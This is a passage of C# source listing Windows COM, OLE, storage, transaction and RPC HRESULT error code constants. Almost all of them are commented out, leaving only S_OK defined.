CO_E_CLRNOTAVAILABLE = 0x80004028; //public const uint CO_E_ASYNC_WORK_REJECTED = 0x80004029; //public const uint CO_E_SERVER_INIT_TIMEOUT = 0x8000402A; //public const uint CO_E_NO_SECCTX_IN_ACTIVATE = 0x8000402B; //public const uint CO_E_TRACKER_CONFIG = 0x80004030; //public const uint CO_E_THREADPOOL_CONFIG = 0x80004031; //public const uint CO_E_SXS_CONFIG = 0x80004032; //public const uint CO_E_MALFORMED_SPN = 0x80004033; /// (0) The operation completed successfully. public const uint S_OK = 0x00000000; //public const uint S_FALSE = 0x00000001; //public const uint OLE_E_FIRST = 0x80040000; //public const uint OLE_E_LAST = 0x800400FF; //public const uint OLE_S_FIRST = 0x00040000; //public const uint OLE_S_LAST = 0x000400FF; //public const uint OLE_E_OLEVERB = 0x80040000; //public const uint OLE_E_ADVF = 0x80040001; //public const uint OLE_E_ENUM_NOMORE = 0x80040002; //public const uint OLE_E_ADVISENOTSUPPORTED = 0x80040003; //public const uint OLE_E_NOCONNECTION = 0x80040004; //public const uint OLE_E_NOTRUNNING = 0x80040005; //public const uint OLE_E_NOCACHE = 0x80040006; //public const uint OLE_E_BLANK = 0x80040007; //public const uint OLE_E_CLASSDIFF = 0x80040008; //public const uint OLE_E_CANT_GETMONIKER = 0x80040009; //public const uint OLE_E_CANT_BINDTOSOURCE = 0x8004000A; //public const uint OLE_E_STATIC = 0x8004000B; //public const uint OLE_E_PROMPTSAVECANCELLED = 0x8004000C; //public const uint OLE_E_INVALIDRECT = 0x8004000D; //public const uint OLE_E_WRONGCOMPOBJ = 0x8004000E; //public const uint OLE_E_INVALIDHWND = 0x8004000F; //public const uint OLE_E_NOT_INPLACEACTIVE = 0x80040010; //public const uint OLE_E_CANTCONVERT = 0x80040011; //public const uint OLE_E_NOSTORAGE = 0x80040012; //public const uint DV_E_FORMATETC = 0x80040064; //public const uint DV_E_DVTARGETDEVICE = 0x80040065; //public const uint DV_E_STGMEDIUM = 0x80040066; //public const uint DV_E_STATDATA = 0x80040067; //public const uint DV_E_LINDEX = 0x80040068; //public const uint DV_E_TYMED = 0x80040069; //public const uint DV_E_CLIPFORMAT = 0x8004006A; //public const uint DV_E_DVASPECT = 0x8004006B; //public const uint DV_E_DVTARGETDEVICE_SIZE = 0x8004006C; //public const uint DV_E_NOIVIEWOBJECT = 0x8004006D; //public const uint DRAGDROP_E_FIRST = 0x80040100; //public const uint DRAGDROP_E_LAST = 0x8004010F; //public const uint DRAGDROP_S_FIRST = 0x00040100; //public const uint DRAGDROP_S_LAST = 0x0004010F; //public const uint DRAGDROP_E_NOTREGISTERED = 0x80040100; //public const uint DRAGDROP_E_ALREADYREGISTERED = 0x80040101; //public const uint DRAGDROP_E_INVALIDHWND = 0x80040102; //public const uint CLASSFACTORY_E_FIRST = 0x80040110; //public const uint CLASSFACTORY_E_LAST = 0x8004011F; //public const uint CLASSFACTORY_S_FIRST = 0x00040110; //public const uint CLASSFACTORY_S_LAST = 0x0004011F; //public const uint CLASS_E_NOAGGREGATION = 0x80040110; //public const uint CLASS_E_CLASSNOTAVAILABLE = 0x80040111; //public const uint CLASS_E_NOTLICENSED = 0x80040112; //public const uint MARSHAL_E_FIRST = 0x80040120; //public const uint MARSHAL_E_LAST = 0x8004012F; //public const uint MARSHAL_S_FIRST = 0x00040120; //public const uint MARSHAL_S_LAST = 0x0004012F; //public const uint DATA_E_FIRST = 0x80040130; //public const uint DATA_E_LAST = 0x8004013F; //public const uint DATA_S_FIRST = 0x00040130; //public const uint DATA_S_LAST = 0x0004013F; //public const uint VIEW_E_FIRST = 0x80040140; //public const uint VIEW_E_LAST = 0x8004014F; //public const uint VIEW_S_FIRST = 0x00040140; //public const uint VIEW_S_LAST = 0x0004014F; //public const uint VIEW_E_DRAW = 0x80040140; //public const uint REGDB_E_FIRST = 0x80040150; //public const uint REGDB_E_LAST = 0x8004015F; //public const uint REGDB_S_FIRST = 0x00040150; //public const uint REGDB_S_LAST = 0x0004015F; //public const uint REGDB_E_READREGDB = 0x80040150; //public const uint REGDB_E_WRITEREGDB = 0x80040151; //public const uint REGDB_E_KEYMISSING = 0x80040152; //public const uint REGDB_E_INVALIDVALUE = 0x80040153; //public const uint REGDB_E_CLASSNOTREG = 0x80040154; //public const uint REGDB_E_IIDNOTREG = 0x80040155; //public const uint REGDB_E_BADTHREADINGMODEL = 0x80040156; //public const uint CAT_E_FIRST = 0x80040160; //public const uint CAT_E_LAST = 0x80040161; //public const uint CAT_E_CATIDNOEXIST = 0x80040160; //public const uint CAT_E_NODESCRIPTION = 0x80040161; //public const uint CS_E_FIRST = 0x80040164; //public const uint CS_E_LAST = 0x8004016F; //public const uint CS_E_PACKAGE_NOTFOUND = 0x80040164; //public const uint CS_E_NOT_DELETABLE = 0x80040165; //public const uint CS_E_CLASS_NOTFOUND = 0x80040166; //public const uint CS_E_INVALID_VERSION = 0x80040167; //public const uint CS_E_NO_CLASSSTORE = 0x80040168; //public const uint CS_E_OBJECT_NOTFOUND = 0x80040169; //public const uint CS_E_OBJECT_ALREADY_EXISTS = 0x8004016A; //public const uint CS_E_INVALID_PATH = 0x8004016B; //public const uint CS_E_NETWORK_ERROR = 0x8004016C; //public const uint CS_E_ADMIN_LIMIT_EXCEEDED = 0x8004016D; //public const uint CS_E_SCHEMA_MISMATCH = 0x8004016E; //public const uint CS_E_INTERNAL_ERROR = 0x8004016F; //public const uint CACHE_E_FIRST = 0x80040170; //public const uint CACHE_E_LAST = 0x8004017F; //public const uint CACHE_S_FIRST = 0x00040170; //public const uint CACHE_S_LAST = 0x0004017F; //public const uint CACHE_E_NOCACHE_UPDATED = 0x80040170; //public const uint OLEOBJ_E_FIRST = 0x80040180; //public const uint OLEOBJ_E_LAST = 0x8004018F; //public const uint OLEOBJ_S_FIRST = 0x00040180; //public const uint OLEOBJ_S_LAST = 0x0004018F; //public const uint OLEOBJ_E_NOVERBS = 0x80040180; //public const uint OLEOBJ_E_INVALIDVERB = 0x80040181; //public const uint CLIENTSITE_E_FIRST = 0x80040190; //public const uint CLIENTSITE_E_LAST = 0x8004019F; //public const uint CLIENTSITE_S_FIRST = 0x00040190; //public const uint CLIENTSITE_S_LAST = 0x0004019F; //public const uint INPLACE_E_NOTUNDOABLE = 0x800401A0; //public const uint INPLACE_E_NOTOOLSPACE = 0x800401A1; //public const uint INPLACE_E_FIRST = 0x800401A0; //public const uint INPLACE_E_LAST = 0x800401AF; //public const uint INPLACE_S_FIRST = 0x000401A0; //public const uint INPLACE_S_LAST = 0x000401AF; //public const uint ENUM_E_FIRST = 0x800401B0; //public const uint ENUM_E_LAST = 0x800401BF; //public const uint ENUM_S_FIRST = 0x000401B0; //public const uint ENUM_S_LAST = 0x000401BF; //public const uint CONVERT10_E_FIRST = 0x800401C0; //public const uint CONVERT10_E_LAST = 0x800401CF; //public const uint CONVERT10_S_FIRST = 0x000401C0; //public const uint CONVERT10_S_LAST = 0x000401CF; //public const uint CONVERT10_E_OLESTREAM_GET = 0x800401C0; //public const uint CONVERT10_E_OLESTREAM_PUT = 0x800401C1; //public const uint CONVERT10_E_OLESTREAM_FMT = 0x800401C2; //public const uint CONVERT10_E_OLESTREAM_BITMAP_TO_DIB = 0x800401C3; //public const uint CONVERT10_E_STG_FMT = 0x800401C4; //public const uint CONVERT10_E_STG_NO_STD_STREAM = 0x800401C5; //public const uint CONVERT10_E_STG_DIB_TO_BITMAP = 0x800401C6; //public const uint CLIPBRD_E_FIRST = 0x800401D0; //public const uint CLIPBRD_E_LAST = 0x800401DF; //public const uint CLIPBRD_S_FIRST = 0x000401D0; //public const uint CLIPBRD_S_LAST = 0x000401DF; //public const uint CLIPBRD_E_CANT_OPEN = 0x800401D0; //public const uint CLIPBRD_E_CANT_EMPTY = 0x800401D1; //public const uint CLIPBRD_E_CANT_SET = 0x800401D2; //public const uint CLIPBRD_E_BAD_DATA = 0x800401D3; //public const uint CLIPBRD_E_CANT_CLOSE = 0x800401D4; //public const uint MK_E_FIRST = 0x800401E0; //public const uint MK_E_LAST = 0x800401EF; //public const uint MK_S_FIRST = 0x000401E0; //public const uint MK_S_LAST = 0x000401EF; //public const uint MK_E_CONNECTMANUALLY = 0x800401E0; //public const uint MK_E_EXCEEDEDDEADLINE = 0x800401E1; //public const uint MK_E_NEEDGENERIC = 0x800401E2; //public const uint MK_E_UNAVAILABLE = 0x800401E3; //public const uint MK_E_SYNTAX = 0x800401E4; //public const uint MK_E_NOOBJECT = 0x800401E5; //public const uint MK_E_INVALIDEXTENSION = 0x800401E6; //public const uint MK_E_INTERMEDIATEINTERFACENOTSUPPORTED = 0x800401E7; //public const uint MK_E_NOTBINDABLE = 0x800401E8; //public const uint MK_E_NOTBOUND = 0x800401E9; //public const uint MK_E_CANTOPENFILE = 0x800401EA; //public const uint MK_E_MUSTBOTHERUSER = 0x800401EB; //public const uint MK_E_NOINVERSE = 0x800401EC; //public const uint MK_E_NOSTORAGE = 0x800401ED; //public const uint MK_E_NOPREFIX = 0x800401EE; //public const uint MK_E_ENUMERATION_FAILED = 0x800401EF; //public const uint CO_E_FIRST = 0x800401F0; //public const uint CO_E_LAST = 0x800401FF; //public const uint CO_S_FIRST = 0x000401F0; //public const uint CO_S_LAST = 0x000401FF; //public const uint CO_E_NOTINITIALIZED = 0x800401F0; //public const uint CO_E_ALREADYINITIALIZED = 0x800401F1; //public const uint CO_E_CANTDETERMINECLASS = 0x800401F2; //public const uint CO_E_CLASSSTRING = 0x800401F3; //public const uint CO_E_IIDSTRING = 0x800401F4; //public const uint CO_E_APPNOTFOUND = 0x800401F5; //public const uint CO_E_APPSINGLEUSE = 0x800401F6; //public const uint CO_E_ERRORINAPP = 0x800401F7; //public const uint CO_E_DLLNOTFOUND = 0x800401F8; //public const uint CO_E_ERRORINDLL = 0x800401F9; //public const uint CO_E_WRONGOSFORAPP = 0x800401FA; //public const uint CO_E_OBJNOTREG = 0x800401FB; //public const uint CO_E_OBJISREG = 0x800401FC; //public const uint CO_E_OBJNOTCONNECTED = 0x800401FD; //public const uint CO_E_APPDIDNTREG = 0x800401FE; //public const uint CO_E_RELEASED = 0x800401FF; //public const uint EVENT_E_FIRST = 0x80040200; //public const uint EVENT_E_LAST = 0x8004021F; //public const uint EVENT_S_FIRST = 0x00040200; //public const uint EVENT_S_LAST = 0x0004021F; //public const uint EVENT_S_SOME_SUBSCRIBERS_FAILED = 0x00040200; //public const uint EVENT_E_ALL_SUBSCRIBERS_FAILED = 0x80040201; //public const uint EVENT_S_NOSUBSCRIBERS = 0x00040202; //public const uint EVENT_E_QUERYSYNTAX = 0x80040203; //public const uint EVENT_E_QUERYFIELD = 0x80040204; //public const uint EVENT_E_INTERNALEXCEPTION = 0x80040205; //public const uint EVENT_E_INTERNALERROR = 0x80040206; //public const uint EVENT_E_INVALID_PER_USER_SID = 0x80040207; //public const uint EVENT_E_USER_EXCEPTION = 0x80040208; //public const uint EVENT_E_TOO_MANY_METHODS = 0x80040209; //public const uint EVENT_E_MISSING_EVENTCLASS = 0x8004020A; //public const uint EVENT_E_NOT_ALL_REMOVED = 0x8004020B; //public const uint EVENT_E_COMPLUS_NOT_INSTALLED = 0x8004020C; //public const uint EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT = 0x8004020D; //public const uint EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT = 0x8004020E; //public const uint EVENT_E_INVALID_EVENT_CLASS_PARTITION = 0x8004020F; //public const uint EVENT_E_PER_USER_SID_NOT_LOGGED_ON = 0x80040210; //public const uint XACT_E_FIRST = 0x8004D000; //public const uint XACT_E_LAST = 0x8004D029; //public const uint XACT_S_FIRST = 0x0004D000; //public const uint XACT_S_LAST = 0x0004D010; //public const uint XACT_E_ALREADYOTHERSINGLEPHASE = 0x8004D000; //public const uint XACT_E_CANTRETAIN = 0x8004D001; //public const uint XACT_E_COMMITFAILED = 0x8004D002; //public const uint XACT_E_COMMITPREVENTED = 0x8004D003; //public const uint XACT_E_HEURISTICABORT = 0x8004D004; //public const uint XACT_E_HEURISTICCOMMIT = 0x8004D005; //public const uint XACT_E_HEURISTICDAMAGE = 0x8004D006; //public const uint XACT_E_HEURISTICDANGER = 0x8004D007; //public const uint XACT_E_ISOLATIONLEVEL = 0x8004D008; //public const uint XACT_E_NOASYNC = 0x8004D009; //public const uint XACT_E_NOENLIST = 0x8004D00A; //public const uint XACT_E_NOISORETAIN = 0x8004D00B; //public const uint XACT_E_NORESOURCE = 0x8004D00C; //public const uint XACT_E_NOTCURRENT = 0x8004D00D; //public const uint XACT_E_NOTRANSACTION = 0x8004D00E; //public const uint XACT_E_NOTSUPPORTED = 0x8004D00F; //public const uint XACT_E_UNKNOWNRMGRID = 0x8004D010; //public const uint XACT_E_WRONGSTATE = 0x8004D011; //public const uint XACT_E_WRONGUOW = 0x8004D012; //public const uint XACT_E_XTIONEXISTS = 0x8004D013; //public const uint XACT_E_NOIMPORTOBJECT = 0x8004D014; //public const uint XACT_E_INVALIDCOOKIE = 0x8004D015; //public const uint XACT_E_INDOUBT = 0x8004D016; //public const uint XACT_E_NOTIMEOUT = 0x8004D017; //public const uint XACT_E_ALREADYINPROGRESS = 0x8004D018; //public const uint XACT_E_ABORTED = 0x8004D019; //public const uint XACT_E_LOGFULL = 0x8004D01A; //public const uint XACT_E_TMNOTAVAILABLE = 0x8004D01B; //public const uint XACT_E_CONNECTION_DOWN = 0x8004D01C; //public const uint XACT_E_CONNECTION_DENIED = 0x8004D01D; //public const uint XACT_E_REENLISTTIMEOUT = 0x8004D01E; //public const uint XACT_E_TIP_CONNECT_FAILED = 0x8004D01F; //public const uint XACT_E_TIP_PROTOCOL_ERROR = 0x8004D020; //public const uint XACT_E_TIP_PULL_FAILED = 0x8004D021; //public const uint XACT_E_DEST_TMNOTAVAILABLE = 0x8004D022; //public const uint XACT_E_TIP_DISABLED = 0x8004D023; //public const uint XACT_E_NETWORK_TX_DISABLED = 0x8004D024; //public const uint XACT_E_PARTNER_NETWORK_TX_DISABLED = 0x8004D025; //public const uint XACT_E_XA_TX_DISABLED = 0x8004D026; //public const uint XACT_E_UNABLE_TO_READ_DTC_CONFIG = 0x8004D027; //public const uint XACT_E_UNABLE_TO_LOAD_DTC_PROXY = 0x8004D028; //public const uint XACT_E_ABORTING = 0x8004D029; //public const uint XACT_E_CLERKNOTFOUND = 0x8004D080; //public const uint XACT_E_CLERKEXISTS = 0x8004D081; //public const uint XACT_E_RECOVERYINPROGRESS = 0x8004D082; //public const uint XACT_E_TRANSACTIONCLOSED = 0x8004D083; //public const uint XACT_E_INVALIDLSN = 0x8004D084; //public const uint XACT_E_REPLAYREQUEST = 0x8004D085; //public const uint XACT_S_ASYNC = 0x0004D000; //public const uint XACT_S_DEFECT = 0x0004D001; //public const uint XACT_S_READONLY = 0x0004D002; //public const uint XACT_S_SOMENORETAIN = 0x0004D003; //public const uint XACT_S_OKINFORM = 0x0004D004; //public const uint XACT_S_MADECHANGESCONTENT = 0x0004D005; //public const uint XACT_S_MADECHANGESINFORM = 0x0004D006; //public const uint XACT_S_ALLNORETAIN = 0x0004D007; //public const uint XACT_S_ABORTING = 0x0004D008; //public const uint XACT_S_SINGLEPHASE = 0x0004D009; //public const uint XACT_S_LOCALLY_OK = 0x0004D00A; //public const uint XACT_S_LASTRESOURCEMANAGER = 0x0004D010; //public const uint CONTEXT_E_FIRST = 0x8004E000; //public const uint CONTEXT_E_LAST = 0x8004E02F; //public const uint CONTEXT_S_FIRST = 0x0004E000; //public const uint CONTEXT_S_LAST = 0x0004E02F; //public const uint CONTEXT_E_ABORTED = 0x8004E002; //public const uint CONTEXT_E_ABORTING = 0x8004E003; //public const uint CONTEXT_E_NOCONTEXT = 0x8004E004; //public const uint CONTEXT_E_WOULD_DEADLOCK = 0x8004E005; //public const uint CONTEXT_E_SYNCH_TIMEOUT = 0x8004E006; //public const uint CONTEXT_E_OLDREF = 0x8004E007; //public const uint CONTEXT_E_ROLENOTFOUND = 0x8004E00C; //public const uint CONTEXT_E_TMNOTAVAILABLE = 0x8004E00F; //public const uint CO_E_ACTIVATIONFAILED = 0x8004E021; //public const uint CO_E_ACTIVATIONFAILED_EVENTLOGGED = 0x8004E022; //public const uint CO_E_ACTIVATIONFAILED_CATALOGERROR = 0x8004E023; //public const uint CO_E_ACTIVATIONFAILED_TIMEOUT = 0x8004E024; //public const uint CO_E_INITIALIZATIONFAILED = 0x8004E025; //public const uint CONTEXT_E_NOJIT = 0x8004E026; //public const uint CONTEXT_E_NOTRANSACTION = 0x8004E027; //public const uint CO_E_THREADINGMODEL_CHANGED = 0x8004E028; //public const uint CO_E_NOIISINTRINSICS = 0x8004E029; //public const uint CO_E_NOCOOKIES = 0x8004E02A; //public const uint CO_E_DBERROR = 0x8004E02B; //public const uint CO_E_NOTPOOLED = 0x8004E02C; //public const uint CO_E_NOTCONSTRUCTED = 0x8004E02D; //public const uint CO_E_NOSYNCHRONIZATION = 0x8004E02E; //public const uint CO_E_ISOLEVELMISMATCH = 0x8004E02F; //public const uint OLE_S_USEREG = 0x00040000; //public const uint OLE_S_STATIC = 0x00040001; //public const uint OLE_S_MAC_CLIPFORMAT = 0x00040002; //public const uint DRAGDROP_S_DROP = 0x00040100; //public const uint DRAGDROP_S_CANCEL = 0x00040101; //public const uint DRAGDROP_S_USEDEFAULTCURSORS = 0x00040102; //public const uint DATA_S_SAMEFORMATETC = 0x00040130; //public const uint VIEW_S_ALREADY_FROZEN = 0x00040140; //public const uint CACHE_S_FORMATETC_NOTSUPPORTED = 0x00040170; //public const uint CACHE_S_SAMECACHE = 0x00040171; //public const uint CACHE_S_SOMECACHES_NOTUPDATED = 0x00040172; //public const uint OLEOBJ_S_INVALIDVERB = 0x00040180; //public const uint OLEOBJ_S_CANNOT_DOVERB_NOW = 0x00040181; //public const uint OLEOBJ_S_INVALIDHWND = 0x00040182; //public const uint INPLACE_S_TRUNCATED = 0x000401A0; //public const uint CONVERT10_S_NO_PRESENTATION = 0x000401C0; //public const uint MK_S_REDUCED_TO_SELF = 0x000401E2; //public const uint MK_S_ME = 0x000401E4; //public const uint MK_S_HIM = 0x000401E5; //public const uint MK_S_US = 0x000401E6; //public const uint MK_S_MONIKERALREADYREGISTERED = 0x000401E7; //public const uint SCHED_S_TASK_READY = 0x00041300; //public const uint SCHED_S_TASK_RUNNING = 0x00041301; //public const uint SCHED_S_TASK_DISABLED = 0x00041302; //public const uint SCHED_S_TASK_HAS_NOT_RUN = 0x00041303; //public const uint SCHED_S_TASK_NO_MORE_RUNS = 0x00041304; //public const uint SCHED_S_TASK_NOT_SCHEDULED = 0x00041305; //public const uint SCHED_S_TASK_TERMINATED = 0x00041306; //public const uint SCHED_S_TASK_NO_VALID_TRIGGERS = 0x00041307; //public const uint SCHED_S_EVENT_TRIGGER = 0x00041308; //public const uint SCHED_E_TRIGGER_NOT_FOUND = 0x80041309; //public const uint SCHED_E_TASK_NOT_READY = 0x8004130A; //public const uint SCHED_E_TASK_NOT_RUNNING = 0x8004130B; //public const uint SCHED_E_SERVICE_NOT_INSTALLED = 0x8004130C; //public const uint SCHED_E_CANNOT_OPEN_TASK = 0x8004130D; //public const uint SCHED_E_INVALID_TASK = 0x8004130E; //public const uint SCHED_E_ACCOUNT_INFORMATION_NOT_SET = 0x8004130F; //public const uint SCHED_E_ACCOUNT_NAME_NOT_FOUND = 0x80041310; //public const uint SCHED_E_ACCOUNT_DBASE_CORRUPT = 0x80041311; //public const uint SCHED_E_NO_SECURITY_SERVICES = 0x80041312; //public const uint SCHED_E_UNKNOWN_OBJECT_VERSION = 0x80041313; //public const uint SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = 0x80041314; //public const uint SCHED_E_SERVICE_NOT_RUNNING = 0x80041315; //public const uint CO_E_CLASS_CREATE_FAILED = 0x80080001; //public const uint CO_E_SCM_ERROR = 0x80080002; //public const uint CO_E_SCM_RPC_FAILURE = 0x80080003; //public const uint CO_E_BAD_PATH = 0x80080004; //public const uint CO_E_SERVER_EXEC_FAILURE = 0x80080005; //public const uint CO_E_OBJSRV_RPC_FAILURE = 0x80080006; //public const uint MK_E_NO_NORMALIZED = 0x80080007; //public const uint CO_E_SERVER_STOPPING = 0x80080008; //public const uint MEM_E_INVALID_ROOT = 0x80080009; //public const uint MEM_E_INVALID_LINK = 0x80080010; //public const uint MEM_E_INVALID_SIZE = 0x80080011; //public const uint CO_S_NOTALLINTERFACES = 0x00080012; //public const uint CO_S_MACHINENAMENOTFOUND = 0x00080013; //public const uint DISP_E_UNKNOWNINTERFACE = 0x80020001; //public const uint DISP_E_MEMBERNOTFOUND = 0x80020003; //public const uint DISP_E_PARAMNOTFOUND = 0x80020004; //public const uint DISP_E_TYPEMISMATCH = 0x80020005; //public const uint DISP_E_UNKNOWNNAME = 0x80020006; //public const uint DISP_E_NONAMEDARGS = 0x80020007; //public const uint DISP_E_BADVARTYPE = 0x80020008; //public const uint DISP_E_EXCEPTION = 0x80020009; //public const uint DISP_E_OVERFLOW = 0x8002000A; //public const uint DISP_E_BADINDEX = 0x8002000B; //public const uint DISP_E_UNKNOWNLCID = 0x8002000C; //public const uint DISP_E_ARRAYISLOCKED = 0x8002000D; //public const uint DISP_E_BADPARAMCOUNT = 0x8002000E; //public const uint DISP_E_PARAMNOTOPTIONAL = 0x8002000F; //public const uint DISP_E_BADCALLEE = 0x80020010; //public const uint DISP_E_NOTACOLLECTION = 0x80020011; //public const uint DISP_E_DIVBYZERO = 0x80020012; //public const uint DISP_E_BUFFERTOOSMALL = 0x80020013; //public const uint TYPE_E_BUFFERTOOSMALL = 0x80028016; //public const uint TYPE_E_FIELDNOTFOUND = 0x80028017; //public const uint TYPE_E_INVDATAREAD = 0x80028018; //public const uint TYPE_E_UNSUPFORMAT = 0x80028019; //public const uint TYPE_E_REGISTRYACCESS = 0x8002801C; //public const uint TYPE_E_LIBNOTREGISTERED = 0x8002801D; //public const uint TYPE_E_UNDEFINEDTYPE = 0x80028027; //public const uint TYPE_E_QUALIFIEDNAMEDISALLOWED = 0x80028028; //public const uint TYPE_E_INVALIDSTATE = 0x80028029; //public const uint TYPE_E_WRONGTYPEKIND = 0x8002802A; //public const uint TYPE_E_ELEMENTNOTFOUND = 0x8002802B; //public const uint TYPE_E_AMBIGUOUSNAME = 0x8002802C; //public const uint TYPE_E_NAMECONFLICT = 0x8002802D; //public const uint TYPE_E_UNKNOWNLCID = 0x8002802E; //public const uint TYPE_E_DLLFUNCTIONNOTFOUND = 0x8002802F; //public const uint TYPE_E_BADMODULEKIND = 0x800288BD; //public const uint TYPE_E_SIZETOOBIG = 0x800288C5; //public const uint TYPE_E_DUPLICATEID = 0x800288C6; //public const uint TYPE_E_INVALIDID = 0x800288CF; //public const uint TYPE_E_TYPEMISMATCH = 0x80028CA0; //public const uint TYPE_E_OUTOFBOUNDS = 0x80028CA1; //public const uint TYPE_E_IOERROR = 0x80028CA2; //public const uint TYPE_E_CANTCREATETMPFILE = 0x80028CA3; //public const uint TYPE_E_CANTLOADLIBRARY = 0x80029C4A; //public const uint TYPE_E_INCONSISTENTPROPFUNCS = 0x80029C83; //public const uint TYPE_E_CIRCULARTYPE = 0x80029C84; //public const uint STG_E_INVALIDFUNCTION = 0x80030001; //public const uint STG_E_FILENOTFOUND = 0x80030002; //public const uint STG_E_PATHNOTFOUND = 0x80030003; //public const uint STG_E_TOOMANYOPENFILES = 0x80030004; //public const uint STG_E_ACCESSDENIED = 0x80030005; //public const uint STG_E_INVALIDHANDLE = 0x80030006; //public const uint STG_E_INSUFFICIENTMEMORY = 0x80030008; //public const uint STG_E_INVALIDPOINTER = 0x80030009; //public const uint STG_E_NOMOREFILES = 0x80030012; //public const uint STG_E_DISKISWRITEPROTECTED = 0x80030013; //public const uint STG_E_SEEKERROR = 0x80030019; //public const uint STG_E_WRITEFAULT = 0x8003001D; //public const uint STG_E_READFAULT = 0x8003001E; //public const uint STG_E_SHAREVIOLATION = 0x80030020; //public const uint STG_E_LOCKVIOLATION = 0x80030021; //public const uint STG_E_FILEALREADYEXISTS = 0x80030050; //public const uint STG_E_INVALIDPARAMETER = 0x80030057; //public const uint STG_E_MEDIUMFULL = 0x80030070; //public const uint STG_E_PROPSETMISMATCHED = 0x800300F0; //public const uint STG_E_ABNORMALAPIEXIT = 0x800300FA; //public const uint STG_E_INVALIDHEADER = 0x800300FB; //public const uint STG_E_INVALIDNAME = 0x800300FC; //public const uint STG_E_UNKNOWN = 0x800300FD; //public const uint STG_E_UNIMPLEMENTEDFUNCTION = 0x800300FE; //public const uint STG_E_INVALIDFLAG = 0x800300FF; //public const uint STG_E_INUSE = 0x80030100; //public const uint STG_E_NOTCURRENT = 0x80030101; //public const uint STG_E_REVERTED = 0x80030102; //public const uint STG_E_CANTSAVE = 0x80030103; //public const uint STG_E_OLDFORMAT = 0x80030104; //public const uint STG_E_OLDDLL = 0x80030105; //public const uint STG_E_SHAREREQUIRED = 0x80030106; //public const uint STG_E_NOTFILEBASEDSTORAGE = 0x80030107; //public const uint STG_E_EXTANTMARSHALLINGS = 0x80030108; //public const uint STG_E_DOCFILECORRUPT = 0x80030109; //public const uint STG_E_BADBASEADDRESS = 0x80030110; //public const uint STG_E_DOCFILETOOLARGE = 0x80030111; //public const uint STG_E_NOTSIMPLEFORMAT = 0x80030112; //public const uint STG_E_INCOMPLETE = 0x80030201; //public const uint STG_E_TERMINATED = 0x80030202; //public const uint STG_S_CONVERTED = 0x00030200; //public const uint STG_S_BLOCK = 0x00030201; //public const uint STG_S_RETRYNOW = 0x00030202; //public const uint STG_S_MONITORING = 0x00030203; //public const uint STG_S_MULTIPLEOPENS = 0x00030204; //public const uint STG_S_CONSOLIDATIONFAILED = 0x00030205; //public const uint STG_S_CANNOTCONSOLIDATE = 0x00030206; //public const uint STG_E_STATUS_COPY_PROTECTION_FAILURE = 0x80030305; //public const uint STG_E_CSS_AUTHENTICATION_FAILURE = 0x80030306; //public const uint STG_E_CSS_KEY_NOT_PRESENT = 0x80030307; //public const uint STG_E_CSS_KEY_NOT_ESTABLISHED = 0x80030308; //public const uint STG_E_CSS_SCRAMBLED_SECTOR = 0x80030309; //public const uint STG_E_CSS_REGION_MISMATCH = 0x8003030A; //public const uint STG_E_RESETS_EXHAUSTED = 0x8003030B; //public const uint RPC_E_CALL_REJECTED = 0x80010001; //public const uint RPC_E_CALL_CANCELED = 0x80010002; //public const uint RPC_E_CANTPOST_INSENDCALL = 0x80010003; //public const uint RPC_E_CANTCALLOUT_INASYNCCALL = 0x80010004; //public const uint RPC_E_CANTCALLOUT_INEXTERNALCALL = 0x80010005; //public const uint RPC_E_CONNECTION_TERMINATED = 0x80010006; //public const uint RPC_E_SERVER_DIED = 0x80010007; //public const uint RPC_E_CLIENT_DIED = 0x80010008; //public const uint RPC_E_INVALID_DATAPACKET = 0x80010009; //public const uint RPC_E_CANTTRANSMIT_CALL = 0x8001000A; //public const uint RPC_E_CLIENT_CANTMARSHAL_DATA = 0x8001000B; //public const uint RPC_E_CLIENT_CANTUNMARSHAL_DATA = 0x8001000C; //public const uint RPC_E_SERVER_CANTMARSHAL_DATA = 0x8001000D; //public const uint RPC_E_SERVER_CANTUNMARSHAL_DATA = 0x8001000E; //public const uint RPC_E_INVALID_DATA = 0x8001000F; //public const uint RPC_E_INVALID_PARAMETER = 0x80010010; //public const uint RPC_E_CANTCALLOUT_AGAIN = 0x80010011; //public const uint RPC_E_SERVER_DIED_DNE = 0x80010012; //public const uint RPC_E_SYS_CALL_FAILED = 0x80010100; //public const uint RPC_E_OUT_OF_RESOURCES = 0x80010101; //public const uint RPC_E_ATTEMPTED_MULTITHREAD = 0x80010102; //public const uint RPC_E_NOT_REGISTERED = 0x80010103; //public const uint RPC_E_FAULT = 0x80010104; //public const uint RPC_E_SERVERFAULT = 0x80010105; //public const uint RPC_E_CHANGED_MODE = 0x80010106; //public const uint RPC_E_INVALIDMETHOD = 0x80010107; //public const uint RPC_E_DISCONNECTED = 0x80010108; //public const uint RPC_E_RETRY = 0x80010109; //public const uint RPC_E_SERVERCALL_RETRYLATER = 0x8001010A; //public const uint RPC_E_SERVERCALL_REJECTED = 0x8001010B; //public const uint RPC_E_INVALID_CALLDATA = 0x8001010C; //public const uint RPC_E_CANTCALLOUT_ININPUTSYNCCALL = 0x8001010D; //public const uint RPC_E_WRONG_THREAD = 0x8001010E; //public const uint RPC_E_THREAD_NOT_INIT = 0x8001010F; //public const uint RPC_E_VERSION_MISMATCH = 0x80010110; //public const uint RPC_E_INVALID_HEADER = 0x80010111; //public const uint RPC_E_INVALID_EXTENSION = 0x80010112; //public const uint RPC_E_INVALID_IPID = 0x80010113; //public const uint RPC_E_INVALID_OBJECT = 0x80010114; //public const uint RPC_S_CALLPENDING = 0x80010115; //public const uint RPC_S_WAITONTIMER = 0x80010116; //public const uint RPC_E_CALL_COMPLETE = 0x80010117; //public const uint RPC_E_UNSECURE_CALL = 0x80010118; //public const uint RPC_E_TOO_LATE = 0x80010119; //public const uint RPC_E_NO_GOOD_SECURITY_PACKAGES = 0x8001011A; //public const uint RPC_E_ACCESS_DENIED = 0x8001011B; //public const uint RPC_E_REMOTE_DISABLED = 0x8001011C; //public const uint RPC_E_INVALID_OBJREF = 0x8001011D; //public const uint RPC_E_NO_CONTEXT = 0x8001011E; //public const uint RPC_E_TIMEOUT = 0x8001011F; //public const uint RPC_E_NO_SYNC = 0x80010120; //public const uint RPC_E_FULLSIC_REQUIRED = 0x80010121; //public const uint RPC_E_INVALID_STD_NAME = 0x80010122; //public const uint CO_E_FAILEDTOIMPERSONATE = 0x80010123; //public const uint CO_E_FAILEDTOGETSECCTX = 0x80010124; //public const uint 